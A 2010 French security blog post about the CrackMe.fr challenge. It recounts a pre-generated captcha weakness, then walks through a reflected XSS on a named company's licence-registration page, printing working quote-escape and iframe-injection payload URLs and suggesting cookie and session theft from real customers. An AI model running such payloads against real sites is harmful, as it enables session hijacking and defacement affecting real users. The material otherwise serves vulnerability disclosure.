CrackMe.fr Episode 1 : La Menace fantôme

Par FlUxIuS 2010-06-14 { Catégorie : Sécurité }

Faille du jour bonjour! Je suis de retour sur ce blog après une multitude d'examens et de projets + projets personnels (que vous verrez plus tard j'en suis sur). En ce qui concerne la sécurité, cela sera peut-être mon dernier post Français ici (en fonction de mon temps), donc je vous donnerais une autre adresse pour en parler (même si ici les articles de sécurité ne montraient pas leurs têtes).

Bon nous allons parler ici du challenge CRACKME.FR, qui n'a pas encore commencé me direz-vous et pourtant.

Dans ce post nous parlerons rapidement de la faille découverte par sh4ka (car on peut la lire sur son blog) et nous enchainerons avec les choses à ne pas faire sur un site, ainsi qu'un autre FAIL de la part d'un fabricant ou représentant en sécurité informatique.

 

Avant tout

Pour commencer, pendant une introduction de la sécurité en amphithéâtre (que je ne commenterai pas), nous avions reçu de beaux flyers nous disant : "Des lots à Gogo à gagner" (2 séjours à Bratislava + Anti-malwares d'ESET, Chèques-cadeaux, et j'en passe...).

En plus de ça une opportunité de stages ou jobs ! En Or tout ça !

Bon pour le voyage en Slovaquie, surtout évitez de venir accompagné (Comme le dis mon père : "ça ne sert à rien d'amener des branches dans la forêt... bref!).

 

Image ou réalité

The captcha

Après quelques semaines, j'ai eu le temps d'oublier le challenge quand par hasard, je reviens sur le blog de sh4ka et je découvre son joli post concernant le "GROS FAIL" de Athena Global concernant son système de captcha.

Ce qu'il a écrit m'impressionne tout autant que lui concernant le choix des combinaisons, car ce sont des images pré-générées :

 

Alors juste pour l'exemple on regarde un échantillon de captcha :

 

Maintenant faites le calcul, sachant que l'on connait les images + le numéro avec leurs couleurs... Je dirais => analyse de la balise "<img>" avec la valeur en "src" + prise du texte indiquant la couleur, cela nous revient à un tableau (Pour l'exemple) :

...
$tab['code1'] = array("bleu" => "JDS", 
                      "noir" => "842", // On reste sur des caractères
                      "rouge" => "DE5");
...

 

Nous appellerons ce genre de sécurité "une beauté qui démonte". Bon je vous encourage pour plus de détails, à lire le blog de sh4ka avec les effets de la sueur dépensée : http://sh4ka.fr/?p=95

 

Bonus

Alors pour les bonus, d'après les imprim. écran de sh4ka, j'ai pu observer aussi l'existence de quelques "Thumbs.db", qui peuvent être intéressant surtout pour de la sonde de fichier. J'ai pu découvrir des fichiers cachés par non-indexation mais rien de très contraignant. Il faudra peut-être à l'avenir y penser avec Athena Global pour information ;)

Maintenant un petit FAIL, c'est que l'on nous donne le nom de l'exécutable "eset_crack_me.exe". Vous me direz une petite recherche sur Google et ça donne : https://www.virustotal.com/fr/analisis/ffee109e4b65c8f9c67d2fe0531129bab061d5baadb671bfb4262885790d64a1-1273948400

 

De plus, nous pourrions traiter le cas d'un bruteforcing, mais nous parlerons de cela maintenant =P.

 

Faille du jour : XSS Bonjour !

Il est 13h, je me lève (enfin les vacances !) et là après quelques heures de détente musicale, je vais chercher une petite bestiole chez crackme.fr. Après un petit Reverse DNS, je vois un lien assez intéressant : https://www.athena-gs.fr

Accès protégé... Oui! Moi je dis peut-être =) Pas de SQL Injection apparent, donc en fouillant un peu, je tombe sur différentes URL et là : https://www.athena-gs.fr/dexter/reg_keys/index.php .

En jouant avec le formulaire je découvre une variable "lic2use", mais cela ne s'arrête pas là. En effet, fouillons proprement dans le code après avoir initialisé la valeur "huhulacharrue" dans "lic2use" :

var theDoc; 
var currentCtrl="";
window.onload=function() {
	theDoc=document.colecter; 
	resetForm();
	theDoc.reset();
	populateTabArticles(); populateTabPurchasetypes(); populateTabUpdate();		
        theDoc.Register_Key.value="huhulacharrue";
		ctrlRegisterKey();
		theDoc.Register_Key.focus();
}
</script>
 

Je m'aperçois que la valeur est retenue par le champ "Registrer_Key" de "TheDoc". C'est là que nous allons intégrer du javascript et faire du Escape from Quotes.

 

Escape from Quotes

Alors la technique ancestrale dit, qu'il faut qu'on s'échappe des guillemets, ce qui va être du gâteau puisque si on rajoute une alerte après avoir affecté une valeur + un guillemet, on a :

index.php?lic2use=999%22;%20alert(%22huhu%22);%20theDoc.Register_Key.value=%22488

On obtient bien notre alert() javascript, car nous sommes encore entre les balises <script></script> :

populateTabUpdate();		
theDoc.Register_Key.value="999"; alert("huhu"); theDoc.Register_Key.value="488";
		ctrlRegisterKey();
		theDoc.Register_Key.focus();
}
</script>

 

Intégration de Bonjour Infirmière

Avec une faille pareille, il est possible de faire de jolis "XMLHttpRequest", vols de cookies ou alors : Intégrer l'infirmière du jour sur domaine Athena Global !

Le principe reste le même, nous avons juste besoin d'une "iframe" et là c'est pas non plus trop compliqué (Attention à bien fermer la balise "<script" ;) :

index.php?lic2use=%3C/script%3E%3Ciframe%20width=%22100%%22%20height=%22300px%22%20src=%22http://www.bonjourinfirmiere.fr/post/695159180/proposee-par-zedacen%22%3E%3C/iframe%3E

 

Ce qui donne :

 

C'est du propre ça !

On comprend en cliquant sur leur lien, que la "magic" recherche ai eu du succès, car c'est le formulaire central des enregistrements de licence (Merci ESET France !).

 

Conclusion

Ce genre de failles très faciles à détourner quant même, montrent la négligence des développeurs, mais ce sont des choses qui peuvent arriver à tout moment. Soyez donc vigilant car si on observe bien, nous avions une page d'enregistrement semi-bypassé (magie de la recherche) et si on utilise le "document.cookie", il serait simple de voler la session. Pour plus de renseignements concernant les sessions, je vous redirige vers mon article écrit dans HzV #3 (14 Mo) : http://www.hackerzvoice.net/hzv_magz/download_hzv.php?magid=03

Voilà un dernier exemple de récupération de cookies après fausse identification sur  Athena Global Services :

 Reste à savoir ce qu'on peut récupérer chez les vrais clients ;)

 

Quelques liens du jours :

- Blog de sh4ka : http://sh4ka.fr/?p=95

- Infirmière du jour : http://www.bonjourinfirmiere.fr/post/695159180/proposee-par-zedacen

 - Exploitation des SESSION_IDs (FlUxIuS) : http://www.hackerzvoice.net/hzv_magz/download_hzv.php?magid=03

Powered by SlashOn blog - © Sebastien D. (FlUxIuS)

Debian powered Server Creative Commons License W3c Validation
Cette création est mise à disposition sous un contrat Creative Commons